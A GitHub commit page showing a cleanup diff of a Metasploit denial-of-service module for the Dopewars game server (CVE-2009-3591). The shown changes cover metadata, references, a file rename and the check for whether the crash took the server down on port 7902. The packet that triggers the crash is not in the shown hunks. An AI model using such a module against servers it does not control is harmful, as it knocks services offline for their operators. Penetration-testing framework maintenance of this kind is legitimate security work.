Skip to content

Commit 02f90b5

Browse files
author
jvazquez-r7
committed
cleanup for dopewars
1 parent 4d9f2bb commit 02f90b5

File tree

1 file changed

+9
-6
lines changed

1 file changed

+9
-6
lines changed

modules/auxiliary/dos/dopewars/dopewars.rb renamed to modules/auxiliary/dos/misc/dopewars.rb

Lines changed: 9 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -16,17 +16,20 @@ def initialize(info = {})
1616
super(update_info(info,
1717
'Name' => 'Dopewars Denial of Service',
1818
'Description' => %q{
19-
The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation.
19+
The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to
20+
a lack of input validation.
2021
},
2122
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
2223
'License' => MSF_LICENSE,
2324
'References' =>
2425
[
25-
[ 'BID', '36606' ],
2626
[ 'CVE', '2009-3591' ],
27-
]))
27+
[ 'OSVDB', '58884' ],
28+
[ 'BID', '36606' ]
29+
],
30+
'DisclosureDate' => "Oct 05 2009" ))
2831

29-
register_options([Opt::RPORT(7902),], self.class)
32+
register_options([Opt::RPORT(7902)], self.class)
3033
end
3134

3235
def run
@@ -44,13 +47,13 @@ def run
4447
disconnect
4548

4649
print_status("Checking for success...")
47-
sleep 2
50+
select(nil, nil, nil, 2)
4851
begin
4952
connect
5053
rescue ::Interrupt
5154
raise $!
5255
rescue ::Rex::ConnectionRefused
53-
print_good("Dopewars server succesfully shut down!")
56+
print_good("Dopewars server successfully shut down!")
5457
else
5558
print_error("DOS attack unsuccessful")
5659
ensure

0 commit comments

Comments
 (0)